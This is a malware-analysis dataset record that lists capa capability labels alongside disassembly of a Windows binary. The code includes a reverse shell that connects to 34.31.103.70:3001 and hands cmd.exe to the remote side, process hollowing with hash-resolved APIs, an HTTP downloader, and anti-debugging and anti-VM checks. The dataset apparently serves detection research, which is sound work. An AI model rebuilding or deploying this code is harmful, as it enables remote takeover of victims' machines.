joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000b8a0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000b8b0]
mov dword [rax], 1
mov rax, qword [0x14000b8c0]
mov dword [rax], 1
mov rax, qword [0x14000b840]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000b890]
mov dword [0x14000e020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000b970]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000b950]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000b7f0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001980
Capabilities:
Get file size
Read file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a50
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x140001a40
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a68
mov rcx, rbx
xor r9d, r9d
mov r8d, edi
mov rdx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
je 0x140001a20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
test rsi, rsi
je 0x140001a33
mov rcx, rsi
call rbx
xor esi, esi
jmp 0x140001a15
mov rcx, rbx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a15
mov rcx, 0xffffffffffffffff
xor esi, esi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a15
mov rcx, rbx
xor esi, esi
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, 0xffffffffffffffff
call rbx
jmp 0x140001a15

Function at 0x140001a90
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov dword [rsp + 0x20], 0
mov rsi, rcx
lea rcx, [0x14000b060]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x140001baf
mov rdx, rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x140001bd0
mov dword [rsp + 0x34], 0
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x34]
mov rcx, rax
mov dword [rsp + 0x38], 4
mov edx, 0x20000005
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x140001bb8
mov edi, dword [rsp + 0x34]
mov rbp, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rbp
xor edx, edx
mov r8, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140001bb8
mov rcx, rsi
mov r8d, dword [rsp + 0x34]
lea r9, [rsp + 0x3c]
mov rdx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x140001b98
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x3c], eax
jne 0x140001b98
call rsi
mov rcx, rbx
call rsi
mov rax, rdi
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call rsi
mov rcx, rbx
call rsi
call rbp
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
jmp 0x140001b87
mov rcx, rsi
xor edi, edi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rbx
call rsi
jmp 0x140001b87
mov rcx, rbx
xor edi, edi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001b87
Function at 0x140001d30
Capabilities:
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0x28
lea rax, [rdx - 1]
mov rbx, rcx
mov rsi, rdx
cmp rax, 0xfffffffffffffffd
jbe 0x140001d90
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001d55
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001d80
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbx]
add rsp, 0x28
pop rbx
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x28
pop rbx
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140001d46

Function at 0x140001e60
Capabilities:
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x300
lea rbx, [0x14000b080]
movsxd rsi, dword [rdx + 0x3c]
mov rbp, rcx
add rsi, rdx
mov rcx, rbx
mov rdi, rdx
mov edx, 0x1abedc6c
call sym.m_GetProcAddressEx
mov r8d, dword [rsi + 0x50]
mov edx, dword [rsi + 0x34]
mov r9d, 0x3000
mov rcx, qword [rbp]
mov dword [rsp + 0x20], 0x40
call rax
mov r12, rax
test rax, rax
je 0x140001f38
mov edx, 0x11712a10
mov rcx, rbx
call sym.m_GetProcAddressEx
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rbp]
mov r8, rdi
mov qword [rsp + 0x20], 0
mov r13, rax
mov rdx, r12
call rax
test eax, eax
je 0x140001f38
xor ebx, ebx
cmp word [rsi + 6], 0
lea r14, [rsi + 0x18]
jne 0x140001f04
jmp 0x140001f50
movzx eax, word [rsi + 6]
add rbx, 1
cmp eax, ebx
jle 0x140001f50
movzx eax, word [rsi + 0x14]
lea rdx, [rbx + rbx*4]
mov rcx, qword [rbp]
add rax, r14
lea rax, [rax + rdx*8]
mov r8d, dword [rax + 0x14]
mov edx, dword [rax + 0xc]
mov r9d, dword [rax + 0x10]
mov qword [rsp + 0x20], 0
add rdx, r12
add r8, rdi
call r13
test eax, eax
jne 0x140001ef8
xor eax, eax
add rsp, 0x300
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor eax, eax
lea rdi, [rsp + 0x30]
mov ecx, 0x59
rep stosq qword [rdi], rax
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x10000b
mov rcx, qword [rbp + 8]
mov rdx, rbx
mov dword [rdi], 0
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140001f38
mov edx, dword [rsp + 0xd4]
mov rcx, qword [rbp]
mov r9d, 4
lea r8, [rsi + 0x34]
mov qword [rsp + 0x20], 0
add rdx, 8
call r13
test eax, eax
je 0x140001f38
add r12d, dword [rsi + 0x28]
mov rcx, qword [rbp + 8]
mov rdx, rbx
mov dword [rsp + 0xe0], r12d
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140001f38
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140001f3a
Function at 0x140001ff0
Capabilities:
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x500
lea rbx, [0x14000b080]
movsxd rsi, dword [rdx + 0x3c]
mov rbp, rcx
add rsi, rdx
mov rcx, rbx
mov rdi, rdx
mov edx, 0x1abedc6c
call sym.m_GetProcAddressEx
mov r8d, dword [rsi + 0x50]
mov rdx, qword [rsi + 0x30]
mov r9d, 0x3000
mov rcx, qword [rbp]
mov dword [rsp + 0x20], 0x40
call rax
mov r12, rax
test rax, rax
je 0x1400020d0
mov edx, 0x11712a10
mov rcx, rbx
call sym.m_GetProcAddressEx
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rbp]
mov r8, rdi
mov qword [rsp + 0x20], 0
mov r13, rax
mov rdx, r12
call rax
test eax, eax
je 0x1400020d0
xor ebx, ebx
cmp word [rsi + 6], 0
lea r14, [rsi + 0x18]
jne 0x14000209c
jmp 0x1400020e8
movzx eax, word [rsi + 6]
add rbx, 1
cmp eax, ebx
jle 0x1400020e8
movzx eax, word [rsi + 0x14]
lea rdx, [rbx + rbx*4]
mov rcx, qword [rbp]
add rax, r14
lea rax, [rax + rdx*8]
mov r8d, dword [rax + 0x14]
mov edx, dword [rax + 0xc]
mov r9d, dword [rax + 0x10]
mov qword [rsp + 0x20], 0
add rdx, r12
add r8, rdi
call r13
test eax, eax
jne 0x140002090
xor eax, eax
add rsp, 0x500
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor eax, eax
lea rdi, [rsp + 0x30]
mov ecx, 0x9a
rep stosq qword [rdi], rax
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x60], 0x10000b
mov rcx, qword [rbp + 8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400020d0
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rbp]
mov r9d, 8
lea r8, [rsi + 0x30]
mov qword [rsp + 0x20], 0
lea rdx, [rax + 0x10]
call r13
test eax, eax
je 0x1400020d0
mov eax, dword [rsi + 0x28]
mov rcx, qword [rbp + 8]
mov rdx, rbx
add r12, rax
mov qword [rsp + 0xb0], r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400020d0
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x1400020d2
Function at 0x1400028e0
Capabilities:
Check mutex on windows

Disassembly:
push rbx
sub rsp, 0x20
mov edx, 1
lea r8, str.Siri1804
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, 1
cmp edx, 0xb7
je 0x140002920
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140002a90
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub rsp, 0x98
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
cmp dword [rsp + 0x40], 1
jbe 0x140002ad0
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
shr rax, 0x1e
cmp eax, 1
seta al
movzx eax, al
add rsp, 0x98
ret

Function at 0x140002be0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub rsp, 0x98
mov rcx, qword [rcx]
call sym.whoami_char_
test eax, eax
je 0x140002c00
xor eax, eax
add rsp, 0x98
ret
call sym.checkNUMA__
test eax, eax
jne 0x140002bf3
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 1
jbe 0x140002bf3
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
shr rax, 0x1e
cmp eax, 1
jbe 0x140002bf3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140002bf3
mov ecx, 0x59a5380
call sym.malloc
mov rcx, rax
test rax, rax
je 0x140002c5f
call sym.free
jmp 0x140002bf3
mov eax, 1
jmp 0x140002bf5
Function at 0x140002d20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbx
sub rsp, 0x150
lea rbx, str.34.31.103.70
lea rdx, [0x14000e140]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov rcx, rbx
mov qword [0x14000e120], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
mov rcx, rbx
mov r8, rax
call qword [sym.imp.msvcrt.dll_strcpy_s]
mov eax, 2
lea rcx, str.3001
mov word [0x14000e110], ax
call sym.atoi
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rbx
mov word [0x14000e112], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rcx, qword [0x14000e120]
mov qword [rsp + 0x28], 0
mov r8d, 0x10
lea rdx, [0x14000e110]
mov qword [rsp + 0x20], 0
mov dword [0x14000e114], eax
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x14000e120]
xor edx, edx
xor ecx, ecx
pxor xmm0, xmm0
mov qword [rsp + 0x58], rdx
xor r9d, r9d
xor r8d, r8d
movups xmmword [0x14000e0a0], xmm0
lea rdx, [rsp + 0x50]
movups xmmword [0x14000e0d0], xmm0
mov qword [0x14000e100], rax
movups xmmword [0x14000e0b0], xmm0
movups xmmword [0x14000e0c0], xmm0
movups xmmword [0x14000e0e0], xmm0
movq xmm0, rax
movabs rax, 0x6578652e646d63
mov qword [rsp + 0x50], rax
punpcklqdq xmm0, xmm0
lea rax, [0x14000e080]
movups xmmword [0x14000e0f0], xmm0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
mov dword [0x14000e0a0], 0x68
mov dword [0x14000e0dc], 0x101
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x48], rax
lea rax, [0x14000e0a0]
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x13f], 0
mov qword [rsp + 0x147], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
add rsp, 0x150
pop rbx
ret
Function at 0x1400032a0
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
mov rbx, qword [rsi + 0x10]
add rsi, 0x10
mov rdi, rcx
cmp rbx, rsi
je 0x1400032f8
mov rbp, qword [sym.imp.msvcrt.dll__wcsicmp]
jmp 0x1400032d8
mov rbx, qword [rbx]
cmp rbx, rsi
je 0x1400032f8
mov rdx, qword [rbx + 0x60]
mov rcx, rdi
call rbp
test eax, eax
jne 0x1400032d0
mov rax, qword [rbx + 0x30]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140003310
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov ebx, edx
mov r14, rcx
xor edx, edx
test rcx, rcx
je 0x140003442
cmp word [rcx], 0x5a4d
jne 0x140003442
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140003442
mov ecx, dword [rax + 0x88]
test ecx, ecx
je 0x140003442
mov eax, dword [rax + 0x8c]
test eax, eax
je 0x140003442
lea rbp, [r14 + rcx]
mov esi, dword [rbp + 0x18]
mov eax, dword [rbp + 0x20]
test esi, esi
je 0x140003442
xor r13d, r13d
lea rdi, [r14 + rax]
movabs r12, 0x89705f3112a28fe5
nop dword [rax]
mov r10d, dword [rdi + r13*4]
lea r15, [r14 + r10]
mov rcx, r15
call sym.strlen
test eax, eax
jle 0x140003460
sub eax, 1
mov r10, r15
xor r9d, r9d
mov r8d, 1
lea r11, [r15 + rax + 1]
nop dword [rax]
movsx ecx, byte [r10]
add r10, 1
sub ecx, 0x60
movsxd rcx, ecx
imul rcx, r8
add rcx, r9
mov rax, rcx
imul r12
mov rax, rcx
sar rax, 0x3f
lea r9, [rdx + rcx]
sar r9, 0x1d
sub r9, rax
imul rax, r9, 0x3b9aca07
sub rcx, rax
mov r9, rcx
mov rcx, r8
shl rcx, 5
sub rcx, r8
mov rax, rcx
imul r12
mov rax, rcx
sar rax, 0x3f
lea r8, [rdx + rcx]
sar r8, 0x1d
sub r8, rax
imul rax, r8, 0x3b9aca07
sub rcx, rax
mov r8, rcx
cmp r10, r11
jne 0x1400033c0
cmp ebx, r9d
je 0x140003468
add r13, 1
cmp r13, rsi
jne 0x140003390
xor edx, edx
mov rax, rdx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor r9d, r9d
cmp ebx, r9d
jne 0x140003433
mov eax, dword [rbp + 0x24]
lea rdx, [r14 + r13*2]
movzx edx, word [rdx + rax]
mov eax, dword [rbp + 0x1c]
lea rdx, [r14 + rdx*4]
mov edx, dword [rdx + rax]
add rdx, r14
jmp 0x140003442

Function at 0x140003490
Capabilities:
Access peb ldr_data

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
mov rbx, qword [rsi + 0x10]
add rsi, 0x10
mov r12, rcx
cmp rsi, rbx
je 0x1400034f0
mov rdi, qword [sym.imp.msvcrt.dll__wcsicmp]
lea rbp, str.kernel32.dll
jmp 0x1400034d8
mov rbx, qword [rbx]
cmp rsi, rbx
je 0x1400034f0
mov rdx, qword [rbx + 0x60]
mov rcx, rbp
call rdi
test eax, eax
jne 0x1400034d0
mov rcx, qword [rbx + 0x30]
jmp 0x1400034f2
xor ecx, ecx
mov edx, 0xc9690b55
call sym.m_GetProcAddress
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp rax
Function at 0x140003510
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
mov rbx, qword [rsi + 0x10]
add rsi, 0x10
mov r13, rcx
mov r12d, edx
cmp rsi, rbx
je 0x140003570
mov rdi, qword [sym.imp.msvcrt.dll__wcsicmp]
lea rbp, str.kernel32.dll
jmp 0x140003558
mov rbx, qword [rbx]
cmp rsi, rbx
je 0x140003570
mov rdx, qword [rbx + 0x60]
mov rcx, rbp
call rdi
test eax, eax
jne 0x140003550
mov rcx, qword [rbx + 0x30]
jmp 0x140003572
xor ecx, ecx
mov edx, 0xc9690b55
call sym.m_GetProcAddress
mov rcx, r13
call rax
mov edx, r12d
mov rcx, rax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.m_GetProcAddress

Function at 0x1400038d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x140003940
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000e354]
mov r12, rcx
test ebx, ebx
jle 0x140003a70
mov rax, qword [0x14000e358]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000398c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140003a13
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140003970
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140003a92
mov rax, qword [0x14000e358]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000e358]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003a77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140003a0c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003a20
add dword [0x14000e354], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000e358]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140003a0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140003997
mov rax, qword [0x14000e358]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140004010
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000e3c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e3a0]
test rbx, rbx
je 0x140004064
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000405b
test r12, r12
je 0x14000405b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140004040
lea rcx, [0x14000e3c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004280
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004298
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400042a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400042b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400042fc
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x1400042f3
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x1400042fe
add rax, 0x28
cmp rax, r9
jne 0x1400042e0
xor eax, eax
ret

Function at 0x140004300
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140004390
mov rdx, qword [0x14000b840]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000437e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000437e
cmp word [rax + 0x18], 0x20b
jne 0x14000437e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140004390
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140004369
add r12, 0x28
cmp r12, rsi
je 0x140004390
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140004360
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400043a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b840]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400043c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400043c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400043c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140004415
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000440c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400043c0
add rax, 0x28
cmp rax, r9
jne 0x1400043f8
xor eax, eax
ret